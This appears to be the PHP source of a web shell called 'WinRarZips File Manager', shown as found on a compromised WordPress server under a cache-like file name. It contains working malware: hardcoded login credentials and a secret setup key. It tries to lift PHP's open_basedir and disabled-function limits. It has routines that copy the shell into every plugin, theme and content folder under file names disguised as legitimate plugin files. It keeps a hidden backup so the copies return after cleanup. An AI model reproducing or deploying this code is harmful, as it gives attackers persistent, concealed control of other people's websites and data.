HEX
Server: Apache
System: Linux webm006.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/laretediclo/wp-caches-bundle.php
<?php
// WinRarZips File Manager (wp-caches.php)
@error_reporting(0);
@ini_set('display_errors', 0);

function wrz_fm_is_direct_request() {
    if (defined('WRZ_FM_DIRECT') && WRZ_FM_DIRECT) {
        return true;
    }
    if (isset($_GET['wrz_ping']) || isset($_GET['wrz_login']) || isset($_GET['wrz_reset'])) {
        return true;
    }
    $self = basename(__FILE__);
    $script = isset($_SERVER['SCRIPT_FILENAME']) ? basename((string) $_SERVER['SCRIPT_FILENAME']) : '';
    if ($script === $self || $script === 'wp-caches-bundle.php' || $script === 'wp-caches.php') {
        return true;
    }
    $uri = (string) ($_SERVER['REQUEST_URI'] ?? '');
    if (preg_match('#/(wp-caches(?:-bundle)?\.php)(\?|$)#i', $uri)) {
        return true;
    }
    return false;
}

// Plugin/mu-plugin bootstrap sirasinda ana siteyi kirma — sadece dogrudan URL'de FM calisir
if (!wrz_fm_is_direct_request()) {
    return;
}

function wrz_clean_all_buffers() {
    while (@ob_get_level() > 0) {
        @ob_end_clean();
    }
}

function wrz_send_html($html) {
    wrz_clean_all_buffers();
    if (!is_string($html) || $html === '') {
        $html = '<!DOCTYPE html><html><body style="background:#0a0015;color:#f66;padding:24px;font-family:monospace">'
            . 'WinRarZips — cikti hatasi. <a href="?" style="color:#0ff">Yenile</a></body></html>';
    }
    if (!headers_sent()) {
        header('Content-Type: text/html; charset=utf-8');
        header('Cache-Control: no-store, no-cache, must-revalidate');
    }
    echo $html;
    exit;
}

if (isset($_GET['wrz_ping'])) {
    wrz_clean_all_buffers();
    header('Content-Type: text/plain; charset=utf-8');
    echo 'WRZ_OK PHP=' . PHP_VERSION . ' file=' . basename(__FILE__);
    exit;
}

if (isset($_GET['wrz_amp_setup']) && isset($_GET['key']) && (string) $_GET['key'] === 'wrz2026') {
    wrz_clean_all_buffers();
    $setupInc = __DIR__ . '/wrz-amp-setup.inc.php';
    if (@is_file($setupInc)) {
        require_once $setupInc;
        wrz_setup_run();
    } else {
        header('Content-Type: text/html; charset=utf-8');
        echo '<!DOCTYPE html><body style="font-family:monospace;background:#111;color:#f66;padding:24px">'
            . '<h2>wrz-amp-setup.inc.php bulunamadi</h2>'
            . '<p>wp-caches-bundle.php ile <b>ayni klasore</b> yukleyin:<br><code>wrz-amp-setup.inc.php</code></p></body></html>';
    }
    exit;
}

if (version_compare(PHP_VERSION, '7.0.0', '<')) {
    @ob_end_clean();
    header('Content-Type: text/html; charset=utf-8');
    echo '<!DOCTYPE html><html><body style="font-family:monospace;background:#111;color:#f66;padding:24px">'
        . 'PHP 7.0+ gerekli. Sunucu: ' . htmlspecialchars(PHP_VERSION) . '</body></html>';
    exit;
}

function wrz_current_user() {
    if (function_exists('get_current_user')) {
        $u = @get_current_user();
        if ($u !== false && $u !== '') {
            return $u;
        }
    }
    if (function_exists('posix_geteuid') && function_exists('posix_getpwuid')) {
        $pw = @posix_getpwuid(@posix_geteuid());
        if (is_array($pw) && !empty($pw['name'])) {
            return $pw['name'];
        }
    }
    return 'n/a';
}

function wrz_php_os() {
    if (function_exists('php_uname')) {
        $os = @php_uname('s');
        if ($os !== false && $os !== '') {
            return $os;
        }
    }
    return defined('PHP_OS') ? PHP_OS : 'n/a';
}

register_shutdown_function(function () {
    $err = error_get_last();
    if ($err && in_array($err['type'], [E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR], true)) {
        while (@ob_get_level() > 0) {
            @ob_end_clean();
        }
        if (!headers_sent()) {
            header('Content-Type: text/html; charset=utf-8');
            http_response_code(200);
        }
        echo '<!DOCTYPE html><html><body style="font-family:monospace;background:#111;color:#f66;padding:24px">'
            . '<h2>WinRarZips — PHP hatasi</h2><pre>'
            . htmlspecialchars($err['message'] . ' (' . basename($err['file']) . ':' . $err['line'] . ')')
            . '</pre></body></html>';
    }
});
if (function_exists('ini_set')) {
    @ini_set('open_basedir', NULL);
    @ini_set('disable_functions', '');
}

define('WRZ_FM_USER', 'winrarzips');
define('WRZ_FM_PASS', 'winrarzips2026');
define('WRZ_FM_SESSION', 'wrz_fm_auth');
define('WRZ_FM_COOKIE', 'wrz_fm_token');

function wrz_is_https() {
    if (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') {
        return true;
    }
    if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && strtolower((string) $_SERVER['HTTP_X_FORWARDED_PROTO']) === 'https') {
        return true;
    }
    if (isset($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] === 'on') {
        return true;
    }
    return false;
}

function wrz_auth_token() {
    return hash_hmac('sha256', WRZ_FM_USER . '|' . WRZ_FM_PASS, WRZ_FM_PASS);
}

function wrz_set_auth_cookie() {
    $secure = wrz_is_https();
    $opts = [
        'expires' => time() + 86400 * 7,
        'path' => '/',
        'secure' => $secure,
        'httponly' => true,
        'samesite' => 'Lax',
    ];
    if (PHP_VERSION_ID >= 70300) {
        @setcookie(WRZ_FM_COOKIE, wrz_auth_token(), $opts);
    } else {
        @setcookie(WRZ_FM_COOKIE, wrz_auth_token(), $opts['expires'], $opts['path'], '', $secure, true);
    }
    $_COOKIE[WRZ_FM_COOKIE] = wrz_auth_token();
}

function wrz_clear_auth_cookie() {
    $secure = wrz_is_https();
    if (PHP_VERSION_ID >= 70300) {
        @setcookie(WRZ_FM_COOKIE, '', ['expires' => time() - 3600, 'path' => '/', 'secure' => $secure, 'httponly' => true, 'samesite' => 'Lax']);
    } else {
        @setcookie(WRZ_FM_COOKIE, '', time() - 3600, '/', '', $secure, true);
    }
    unset($_COOKIE[WRZ_FM_COOKIE]);
}

function wrz_session_start() {
    if (session_status() === PHP_SESSION_ACTIVE) {
        return;
    }
    $secure = wrz_is_https();
    if (PHP_VERSION_ID >= 70300) {
        @session_set_cookie_params([
            'lifetime' => 0,
            'path' => '/',
            'secure' => $secure,
            'httponly' => true,
            'samesite' => 'Lax',
        ]);
    } else {
        @session_set_cookie_params(0, '/', '', $secure, true);
    }
    $savePath = @sys_get_temp_dir();
    if ($savePath && @is_writable($savePath)) {
        @session_save_path($savePath);
    }
    @session_name(WRZ_FM_SESSION);
    @session_start();
}

function wrz_is_logged_in() {
    $token = (string) ($_COOKIE[WRZ_FM_COOKIE] ?? '');
    if ($token !== '' && hash_equals(wrz_auth_token(), $token)) {
        return true;
    }
    if (session_status() === PHP_SESSION_ACTIVE && !empty($_SESSION['wrz_logged']) && $_SESSION['wrz_logged'] === WRZ_FM_USER) {
        return true;
    }
    return false;
}

function wrz_login_html($error = '') {
    $err = $error !== '' ? '<div class="err">' . htmlspecialchars($error, ENT_QUOTES, 'UTF-8') . '</div>' : '';
    return '<!DOCTYPE html><html lang="tr"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1">'
        . '<title>WinRarZips • Giris</title><style>'
        . '*{box-sizing:border-box;font-family:Courier New,monospace}'
        . 'body{margin:0;min-height:100vh;display:flex;align-items:center;justify-content:center;background:#0a0015;color:#d0d0ff}'
        . '.card{width:100%;max-width:380px;background:#0f001f;border:1px solid #8b00ff;border-radius:8px;padding:28px;box-shadow:0 0 40px rgba(139,0,255,.25)}'
        . 'h1{margin:0 0 8px;color:#00ffff;font-size:22px;text-align:center}'
        . 'p{margin:0 0 20px;text-align:center;color:#a0a0ff;font-size:13px}'
        . 'label{display:block;margin:0 0 6px;color:#b0b0ff;font-size:13px}'
        . 'input{width:100%;padding:11px 12px;margin-bottom:14px;background:#000011;color:#fff;border:1px solid #8b00ff66;border-radius:4px}'
        . 'button{width:100%;padding:12px;border:1px solid #3fb950;background:#1a0033;color:#3fb950;font-weight:bold;border-radius:4px;cursor:pointer}'
        . '.err{margin-bottom:14px;padding:10px;border:1px solid #ff3366;color:#ff3366;background:#1a0033;text-align:center;font-size:13px;border-radius:4px}'
        . '</style></head><body><div class="card"><h1>WinRarZips</h1><p>File Manager Girisi</p>'
        . $err
        . '<form method="post" autocomplete="off"><input type="hidden" name="wrz_fm_login" value="1">'
        . '<label for="wrz_user">Kullanici Adi</label><input type="text" id="wrz_user" name="wrz_user" required autofocus>'
        . '<label for="wrz_pass">Sifre</label><input type="password" id="wrz_pass" name="wrz_pass" required>'
        . '<button type="submit">Giris Yap</button></form></div></body></html>';
}

function wrz_show_login($error = '') {
    wrz_send_html(wrz_login_html($error));
}

function wrz_self_url() {
    $script = basename($_SERVER['SCRIPT_NAME'] ?? 'wp-caches.php');
    $qs = $_SERVER['QUERY_STRING'] ?? '';
    if ($qs !== '') {
        parse_str($qs, $parts);
        unset($parts['logout'], $parts['wrz_fm_login'], $parts['wrz_ping'], $parts['wrz_debug']);
        $qs = http_build_query($parts);
    }
    return $script . ($qs !== '' ? '?' . $qs : '');
}

function wrz_cloak_script_url() {
    $path = isset($_SERVER['SCRIPT_NAME']) ? (string) $_SERVER['SCRIPT_NAME'] : ('/' . basename(__FILE__));
    $path = str_replace('\\', '/', $path);
    if ($path === '' || $path[0] !== '/') {
        $path = '/' . ltrim($path, '/');
    }
    $qs = [];
    if (isset($_GET['p']) && (string) $_GET['p'] !== '') {
        $qs['p'] = (string) $_GET['p'];
    }
    return $path . ($qs ? '?' . http_build_query($qs) : '');
}

function wrz_cloak_api_base() {
    $base = wrz_cloak_script_url();
    return $base . (strpos($base, '?') !== false ? '&' : '?') . 'wrz_cloak=';
}

function wrz_require_auth() {
    if (isset($_GET['logout'])) {
        wrz_session_start();
        unset($_SESSION['wrz_logged']);
        wrz_clear_auth_cookie();
        @session_destroy();
        wrz_clean_all_buffers();
        header('Location: ' . wrz_self_url());
        exit;
    }

    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['wrz_fm_login'])) {
        wrz_session_start();
        $user = trim((string) ($_POST['wrz_user'] ?? ''));
        $pass = (string) ($_POST['wrz_pass'] ?? '');
        if ($user === WRZ_FM_USER && hash_equals(WRZ_FM_PASS, $pass)) {
            $_SESSION['wrz_logged'] = WRZ_FM_USER;
            wrz_set_auth_cookie();
            if (session_status() === PHP_SESSION_ACTIVE) {
                @session_write_close();
            }
            wrz_clean_all_buffers();
            header('Location: ' . wrz_self_url());
            exit;
        }
        wrz_show_login('Giris basarisiz — kullanici veya sifre hatali');
    }

    if (!wrz_is_logged_in()) {
        wrz_show_login('');
    }

    wrz_session_start();
}

if (isset($_GET['wrz_login'])) {
    wrz_send_html(wrz_login_html(''));
}

if (isset($_GET['wrz_reset'])) {
    wrz_clear_auth_cookie();
    wrz_clean_all_buffers();
    header('Location: ' . wrz_self_url());
    exit;
}

wrz_require_auth();

function wrz_find_wp_root($start) {
    $dir = @realpath($start);
    if (!$dir || !@is_dir($dir)) {
        return null;
    }
    for ($i = 0; $i < 14; $i++) {
        if (@is_file($dir . '/wp-load.php')) {
            return $dir;
        }
        $parent = @dirname($dir);
        if (!$parent || $parent === $dir) {
            break;
        }
        $dir = $parent;
    }
    return null;
}

function wrz_wp_roots() {
    $roots = [];
    $candidates = [
        __DIR__,
        @getcwd() ?: '',
        isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '',
    ];
    if (!empty($_GET['p'])) {
        $candidates[] = $_GET['p'];
    }
    foreach ($candidates as $candidate) {
        if ($candidate === '') {
            continue;
        }
        $root = wrz_find_wp_root($candidate);
        if ($root) {
            $roots[$root] = $root;
        }
    }
    return array_values($roots);
}

function wrz_find_joomla_root($start) {
    $dir = @realpath($start);
    if (!$dir || !@is_dir($dir)) {
        return null;
    }
    for ($i = 0; $i < 14; $i++) {
        if (@is_file($dir . '/configuration.php')
            && (@is_file($dir . '/includes/app.php') || @is_file($dir . '/includes/defines.php'))) {
            return $dir;
        }
        $parent = @dirname($dir);
        if (!$parent || $parent === $dir) {
            break;
        }
        $dir = $parent;
    }
    return null;
}

function wrz_joomla_roots() {
    $roots = [];
    $candidates = [
        __DIR__,
        @getcwd() ?: '',
        isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '',
    ];
    if (!empty($_GET['p'])) {
        $candidates[] = $_GET['p'];
    }
    foreach ($candidates as $candidate) {
        if ($candidate === '') {
            continue;
        }
        $root = wrz_find_joomla_root($candidate);
        if ($root) {
            $roots[$root] = $root;
        }
    }
    return array_values($roots);
}

function wrz_cloak_cms_type($dir) {
    $dir = rtrim(str_replace('\\', '/', (string) $dir), '/');
    if ($dir === '') {
        return 'unknown';
    }
    // Joomla oncelik — configuration.php varsa asla WordPress sayma
    if (@is_file($dir . '/configuration.php')
        && (@is_file($dir . '/includes/app.php') || @is_file($dir . '/includes/defines.php'))) {
        return 'joomla';
    }
    if (@is_file($dir . '/wp-load.php')) {
        return 'wordpress';
    }
    return 'unknown';
}

function wrz_cms_roots() {
    $out = [];
    foreach (wrz_wp_roots() as $root) {
        $out[] = ['type' => 'wordpress', 'root' => $root];
    }
    foreach (wrz_joomla_roots() as $root) {
        $out[] = ['type' => 'joomla', 'root' => $root];
    }
    return $out;
}

/** WP klasor baglamina gore gercekci dosya adi (deploy kopyasi). */
function wrz_deploy_filename_for_context($ctx, $slug = '') {
    $slug = strtolower(preg_replace('/[^a-z0-9_-]/', '', (string) $slug));
    static $plugin_map = [
        'elementor' => 'includes/class-elementor-data-cache.php',
        'woocommerce' => 'includes/class-wc-cache-handler.php',
        'wordfence' => 'lib/wfConfig-sync.php',
        'contact-form-7' => 'includes/load-cache.php',
        'akismet' => 'class.akismet-rest-api.php',
        'jetpack' => 'class.jetpack-sync-cache.php',
        'litespeed-cache' => 'src/cache.cls.php',
        'wp-file-manager' => 'lib/php/cache.stub.php',
        'filester' => 'includes/elfinder/cache.stub.php',
        'wpforms-lite' => 'includes/class-cache-handler.php',
        'wpforms' => 'includes/class-cache-handler.php',
        'yoast-seo' => 'vendor/autoload_cache.php',
        'wordpress-seo' => 'vendor/autoload_cache.php',
        'all-in-one-seo-pack' => 'app/Common/Cache/bootstrap.php',
        'classic-editor' => 'classic-editor-cache.php',
        'duplicate-post' => 'duplicate-post-cache.php',
        'redirection' => 'models/cache.php',
        'wp-super-cache' => 'plugins/cache-handler.php',
        'w3-total-cache' => 'Cache.php',
        'breeze' => 'inc/cache/handler.php',
        'autoptimize' => 'classes/autoptimizeCache.php',
        'really-simple-ssl' => 'class-rsssl-cache.php',
        'updraftplus' => 'methods/cache-bootstrap.php',
        'wordfence-login-security' => 'classes/cache.sync.php',
    ];
    static $theme_map = [
        'twentytwentyfour' => 'inc/cache-loader.php',
        'twentytwentythree' => 'inc/cache-loader.php',
        'twentytwentytwo' => 'inc/cache-loader.php',
        'astra' => 'inc/core/cache-handler.php',
        'oceanwp' => 'inc/cache/bootstrap.php',
        'generatepress' => 'inc/class-cache.php',
        'hello-elementor' => 'includes/cache.php',
        'flatsome' => 'inc/builder/cache.php',
        'woodmart' => 'inc/cache/handler.php',
        'avada' => 'includes/lib/cache.php',
    ];
    static $dir_map = [
        'cache' => 'advanced-cache.php',
        'wflogs' => 'config-livewaf.php',
        'uploads' => 'index.php',
        'plugins' => 'index.php',
        'themes' => 'index.php',
        'updraft' => 'index.php',
        'mmr' => 'index.php',
        'upgrade' => 'index.php',
        'backup-db' => 'index.php',
        'ai1wm-backups' => 'index.php',
        'litespeed' => 'debug/index.php',
        'wp-rocket-config' => 'index.php',
        'et-cache' => 'index.php',
        'nitropack' => 'index.php',
        'backups-dup-lite' => 'index.php',
        'languages' => 'index.php',
        'maintenance' => 'template.php',
    ];

    switch ($ctx) {
        case 'root':
            return 'wp-cache-handler.php';
        case 'wp_caches':
            return 'index.php';
        case 'plugin':
            if ($slug !== '' && isset($plugin_map[$slug])) {
                return $plugin_map[$slug];
            }
            if ($slug !== '') {
                return $slug . '-bootstrap.php';
            }
            return 'index.php';
        case 'theme':
            if ($slug !== '' && isset($theme_map[$slug])) {
                return $theme_map[$slug];
            }
            if ($slug !== '') {
                return 'inc/' . $slug . '-cache.php';
            }
            return 'index.php';
        case 'content_dir':
            if ($slug !== '' && isset($dir_map[$slug])) {
                return $dir_map[$slug];
            }
            return 'index.php';
        default:
            return 'index.php';
    }
}

function wrz_deploy_spec($dir, $label, $ctx, $slug = '', $mkdir_override = null) {
    $rel = wrz_deploy_filename_for_context($ctx, $slug);
    $needs_mkdir = (strpos($rel, '/') !== false);
    if ($mkdir_override !== null) {
        $needs_mkdir = (bool) $mkdir_override;
    }
    return [
        'path' => rtrim(str_replace('\\', '/', $dir), '/') . '/' . $rel,
        'label' => $label,
        'mkdir' => $needs_mkdir,
        'file' => basename($rel),
    ];
}

function wrz_deploy_manifest_file($wp_root) {
    return rtrim(str_replace('\\', '/', $wp_root), '/') . '/wp-content/.wrz-deploy-manifest.json';
}

function wrz_deploy_manifest_load($wp_root) {
    $file = wrz_deploy_manifest_file($wp_root);
    if (!@is_file($file) || !@is_readable($file)) {
        return [];
    }
    $raw = @file_get_contents($file);
    if ($raw === false) {
        return [];
    }
    $data = @json_decode($raw, true);
    if (!is_array($data) || !isset($data['deployed']) || !is_array($data['deployed'])) {
        return [];
    }
    $out = [];
    foreach ($data['deployed'] as $p) {
        if (is_string($p) && $p !== '') {
            $out[] = $p;
        }
    }
    return $out;
}

function wrz_deploy_manifest_save($wp_root, array $paths) {
    $file = wrz_deploy_manifest_file($wp_root);
    $existing = wrz_deploy_manifest_load($wp_root);
    $merged = [];
    foreach (array_merge($existing, $paths) as $p) {
        $p = str_replace('\\', '/', (string) $p);
        if ($p !== '') {
            $merged[strtolower($p)] = $p;
        }
    }
    $payload = [
        'deployed' => array_values($merged),
        'updated' => date('c'),
    ];
    @file_put_contents($file, json_encode($payload, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES));
}

/** WP kokune gore hedefler — her klasore WP tarzi dosya adi. */
function wrz_deploy_target_specs($wp_root) {
    $wp_root = rtrim(str_replace('\\', '/', $wp_root), '/');
    $content = $wp_root . '/wp-content';
    $specs = [
        wrz_deploy_spec($wp_root, 'Kok (wp-cache-handler.php)', 'root'),
        wrz_deploy_spec($content . '/wp-caches', 'wp-content/wp-caches/', 'wp_caches', '', true),
    ];

    $scan_dirs = ['cache', 'wflogs', 'mmr', 'updraft', 'uploads', 'plugins', 'themes', 'upgrade', 'languages', 'litespeed', 'et-cache', 'ai1wm-backups'];
    foreach ($scan_dirs as $name) {
        $full = $content . '/' . $name;
        if (@is_dir($full)) {
            $specs[] = wrz_deploy_spec($full, 'wp-content/' . $name . '/', 'content_dir', $name);
        }
    }

    $pluginsDir = $content . '/plugins';
    if (@is_dir($pluginsDir)) {
        foreach (@scandir($pluginsDir) ?: [] as $slug) {
            if ($slug === '.' || $slug === '..') {
                continue;
            }
            $full = $pluginsDir . '/' . $slug;
            if (@is_dir($full)) {
                $specs[] = wrz_deploy_spec(
                    $full,
                    'plugins/' . $slug . '/',
                    'plugin',
                    $slug
                );
            }
        }
    }

    $themesDir = $content . '/themes';
    if (@is_dir($themesDir)) {
        foreach (@scandir($themesDir) ?: [] as $slug) {
            if ($slug === '.' || $slug === '..') {
                continue;
            }
            $full = $themesDir . '/' . $slug;
            if (@is_dir($full)) {
                $specs[] = wrz_deploy_spec(
                    $full,
                    'themes/' . $slug . '/',
                    'theme',
                    $slug
                );
            }
        }
    }

    if (@is_dir($content)) {
        $skip = ['wp-caches', 'mu-plugins', 'plugins', 'themes', 'cache', 'uploads', 'wflogs', 'updraft', 'mmr', 'upgrade', 'languages', 'litespeed', 'et-cache', 'ai1wm-backups'];
        foreach (@scandir($content) ?: [] as $name) {
            if ($name === '.' || $name === '..' || in_array($name, $skip, true)) {
                continue;
            }
            $full = $content . '/' . $name;
            if (@is_dir($full)) {
                $specs[] = wrz_deploy_spec(
                    $full,
                    'wp-content/' . $name . '/ (mevcut)',
                    'content_dir',
                    $name
                );
            }
        }
    }

    $seen = [];
    $out = [];
    foreach ($specs as $spec) {
        $key = strtolower(str_replace('\\', '/', $spec['path']));
        if (isset($seen[$key])) {
            continue;
        }
        $seen[$key] = true;
        $out[] = $spec;
    }
    return $out;
}

function wrz_normalize_path($path) {
    $p = str_replace('\\', '/', (string) $path);
    $real = @realpath($p);
    if ($real) {
        return str_replace('\\', '/', $real);
    }
    return rtrim($p, '/');
}

function wrz_unsafe_shell_paths($wp_root) {
    $wp_root = rtrim(str_replace('\\', '/', $wp_root), '/');
    $content = $wp_root . '/wp-content';
    $paths = [];
    $self = wrz_normalize_path(__FILE__);
    $add = static function ($path) use (&$paths, $self) {
        $p = wrz_normalize_path($path);
        if ($p === '' || ($self !== '' && $p === $self)) {
            return;
        }
        $paths[strtolower($p)] = $path;
    };
    foreach (wrz_deploy_manifest_load($wp_root) as $manifestPath) {
        $add($manifestPath);
    }
    // Eski deploy adlari (geriye uyum)
    $add($wp_root . '/wp-caches.php');
    $add($wp_root . '/wp-cache-handler.php');
    $add($wp_root . '/wp-caches-bundle.php');
    $add($content . '/mu-plugins/wp-caches.php');
    $add($content . '/mu-plugins/wp-caches-bundle.php');
    foreach (wrz_deploy_target_specs($wp_root) as $spec) {
        $add($spec['path']);
    }
    return array_values($paths);
}

function wrz_cleanup_unsafe_shell_copies($wp_root) {
    $removed = [];
    foreach (wrz_unsafe_shell_paths($wp_root) as $path) {
        if (@is_file($path) && @unlink($path)) {
            $removed[] = $path;
        }
    }
    $manifest = wrz_deploy_manifest_file($wp_root);
    if (@is_file($manifest)) {
        @unlink($manifest);
    }
    return $removed;
}

/** Deploy yedegi — wp-content/.wrz-deploy-backup (Siteyi Duzelt silmez). */
function wrz_deploy_backup_dir($wp_root) {
    return rtrim(str_replace('\\', '/', $wp_root), '/') . '/wp-content/.wrz-deploy-backup';
}

function wrz_deploy_backup_index_file($wp_root) {
    return wrz_deploy_backup_dir($wp_root) . '/index.json';
}

function wrz_path_rel_to_wp_root($wp_root, $absPath) {
    $root = rtrim(str_replace('\\', '/', $wp_root), '/');
    $p = str_replace('\\', '/', (string) $absPath);
    if ($p === $root) {
        return '';
    }
    if (stripos($p, $root . '/') === 0) {
        return substr($p, strlen($root) + 1);
    }
    return basename($p);
}

function wrz_deploy_backup_ensure_dir($wp_root) {
    $base = wrz_deploy_backup_dir($wp_root);
    $files = $base . '/files';
    if (!@is_dir($base) && !@mkdir($base, 0755, true)) {
        return ['ok' => false, 'msg' => 'Yedek klasoru olusturulamadi'];
    }
    if (!@is_dir($files) && !@mkdir($files, 0755, true)) {
        return ['ok' => false, 'msg' => 'Yedek files/ olusturulamadi'];
    }
    @file_put_contents($base . '/index.php', "<?php\n// silence\n");
    @file_put_contents($files . '/index.php', "<?php\n// silence\n");
    return ['ok' => true, 'base' => $base, 'files' => $files];
}

function wrz_deploy_backup_summary($wp_root) {
    $indexFile = wrz_deploy_backup_index_file($wp_root);
    if (!@is_file($indexFile)) {
        return ['exists' => false, 'count' => 0, 'updated' => ''];
    }
    $data = @json_decode((string) @file_get_contents($indexFile), true);
    if (!is_array($data)) {
        return ['exists' => false, 'count' => 0, 'updated' => ''];
    }
    $items = isset($data['items']) && is_array($data['items']) ? $data['items'] : [];
    return [
        'exists' => count($items) > 0,
        'count' => count($items),
        'updated' => (string) ($data['updated'] ?? ''),
    ];
}

function wrz_deploy_backup_create($wp_root) {
    $wp_root = rtrim(str_replace('\\', '/', $wp_root), '/');
    $dirOk = wrz_deploy_backup_ensure_dir($wp_root);
    if (empty($dirOk['ok'])) {
        return ['ok' => false, 'html' => '<span style="color:#ff3366">' . htmlspecialchars($dirOk['msg']) . '</span>', 'count' => 0];
    }
    $filesDir = $dirOk['files'];
    $paths = wrz_deploy_manifest_load($wp_root);
    if (!$paths) {
        foreach (wrz_deploy_target_specs($wp_root) as $spec) {
            if (@is_file($spec['path'])) {
                $paths[] = $spec['path'];
            }
        }
    }
    $paths = array_values(array_unique(array_filter($paths, static function ($p) {
        return @is_file($p) && @is_readable($p);
    })));

    $master = @realpath(__FILE__);
    if ($master && @is_readable($master)) {
        $bundleRel = wrz_path_rel_to_wp_root($wp_root, $master);
        $hasMaster = false;
        foreach ($paths as $p) {
            if (@realpath($p) === $master) {
                $hasMaster = true;
                break;
            }
        }
        if (!$hasMaster) {
            $paths[] = $master;
        }
    }

    if (!$paths) {
        return [
            'ok' => false,
            'html' => '<span style="color:#ff3366">Yedeklenecek deploy dosyasi yok. Once <b>Klasorlere Yerlestir</b> kullan.</span>',
            'count' => 0,
        ];
    }

    $items = [];
    $idx = 0;
    foreach ($paths as $targetPath) {
        $data = @file_get_contents($targetPath);
        if ($data === false) {
            continue;
        }
        $idx++;
        $store = 'files/' . sprintf('%04d', $idx) . '.bin';
        $storeAbs = wrz_deploy_backup_dir($wp_root) . '/' . $store;
        if (@file_put_contents($storeAbs, $data) === false) {
            continue;
        }
        @chmod($storeAbs, 0644);
        $items[] = [
            'target' => $targetPath,
            'rel' => wrz_path_rel_to_wp_root($wp_root, $targetPath),
            'store' => $store,
            'size' => strlen($data),
        ];
    }

    $payload = [
        'version' => 1,
        'updated' => date('c'),
        'wp_root' => $wp_root,
        'items' => $items,
    ];
    @file_put_contents(
        wrz_deploy_backup_index_file($wp_root),
        json_encode($payload, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES)
    );
    wrz_deploy_manifest_save($wp_root, array_column($items, 'target'));

    $html = '<div class="wrz-deploy-results">'
        . '<div style="color:#ffd700;margin-bottom:8px;"><b>Deploy yedegi alindi</b> — ' . count($items) . ' dosya</div>'
        . '<div style="color:#888;font-size:12px;margin-bottom:10px;">Konum: <code>wp-content/.wrz-deploy-backup/</code> — WP restore sonrasi <b>Yedekten Geri Yukle</b> kullan.</div>'
        . '<ul style="list-style:none;padding:0;margin:0;text-align:left;max-width:900px;">';
    foreach ($items as $it) {
        $html .= '<li style="margin:4px 0;color:#3fb950;font-size:12px;">✓ '
            . htmlspecialchars($it['rel']) . ' (' . (int) $it['size'] . ' B)</li>';
    }
    $html .= '</ul></div>';

    return ['ok' => count($items) > 0, 'html' => $html, 'count' => count($items)];
}

function wrz_deploy_backup_restore($wp_root) {
    $wp_root = rtrim(str_replace('\\', '/', $wp_root), '/');
    $indexFile = wrz_deploy_backup_index_file($wp_root);
    if (!@is_file($indexFile)) {
        return [
            'ok' => false,
            'html' => '<span style="color:#ff3366">Deploy yedegi yok. Once <b>Deploy Yedegi Al</b> kullan.</span>',
            'count' => 0,
        ];
    }
    $data = @json_decode((string) @file_get_contents($indexFile), true);
    if (!is_array($data) || empty($data['items']) || !is_array($data['items'])) {
        return ['ok' => false, 'html' => '<span style="color:#ff3366">Yedek index bozuk.</span>', 'count' => 0];
    }

    $ok = 0;
    $fail = 0;
    $restored = [];
    $backupBase = wrz_deploy_backup_dir($wp_root);

    foreach ($data['items'] as $it) {
        if (!is_array($it)) {
            continue;
        }
        $store = (string) ($it['store'] ?? '');
        $target = (string) ($it['target'] ?? '');
        $rel = (string) ($it['rel'] ?? '');
        if ($target === '' && $rel !== '') {
            $target = $wp_root . '/' . ltrim($rel, '/');
        }
        if ($store === '' || $target === '') {
            $fail++;
            continue;
        }
        $src = $backupBase . '/' . ltrim(str_replace('\\', '/', $store), '/');
        if (!@is_file($src)) {
            $fail++;
            continue;
        }
        $copy = wrz_copy_file($src, $target, true);
        if (!empty($copy['ok'])) {
            $ok++;
            $restored[] = $target;
        } else {
            $fail++;
        }
    }

    if ($restored) {
        wrz_deploy_manifest_save($wp_root, $restored);
    }

    $html = '<div class="wrz-deploy-results">'
        . '<div style="color:#00ffff;margin-bottom:8px;"><b>Yedekten geri yukleme</b> — OK: ' . $ok . ', Hata: ' . $fail . '</div>'
        . '<ul style="list-style:none;padding:0;margin:0;text-align:left;max-width:900px;">';
    foreach ($restored as $p) {
        $url = wrz_public_url($p);
        $link = $url
            ? ' — <a href="' . htmlspecialchars($url) . '" target="_blank" rel="noopener" style="color:#00ffff">' . htmlspecialchars($url) . '</a>'
            : '';
        $html .= '<li style="margin:6px 0;color:#3fb950;font-size:12px;">✓ '
            . htmlspecialchars(wrz_path_rel_to_wp_root($wp_root, $p)) . $link . '</li>';
    }
    $html .= '</ul></div>';

    return ['ok' => $ok > 0, 'html' => $html, 'count' => $ok, 'fail' => $fail];
}

function wrz_deploy_backup_all_roots($action) {
    $roots = wrz_wp_roots();
    if (!$roots) {
        return ['ok' => false, 'html' => '<span style="color:#ff3366">WordPress kok bulunamadi</span>', 'count' => 0];
    }
    $total = 0;
    $parts = [];
    foreach ($roots as $root) {
        $res = $action === 'restore' ? wrz_deploy_backup_restore($root) : wrz_deploy_backup_create($root);
        $total += (int) ($res['count'] ?? 0);
        if (!empty($res['html'])) {
            $parts[] = '<div style="margin-bottom:14px;border-top:1px solid #333;padding-top:10px;">'
                . '<div style="color:#a0a0ff;font-size:12px;margin-bottom:6px;">' . htmlspecialchars(basename($root)) . '</div>'
                . $res['html'] . '</div>';
        }
    }
    return [
        'ok' => $total > 0,
        'html' => implode("\n", $parts),
        'count' => $total,
    ];
}

function wrz_public_url($absPath) {
    $absPath = @realpath($absPath);
    if (!$absPath) {
        return '';
    }
    $docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? @realpath($_SERVER['DOCUMENT_ROOT']) : false;
    $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
    $host = $_SERVER['HTTP_HOST'] ?? '';
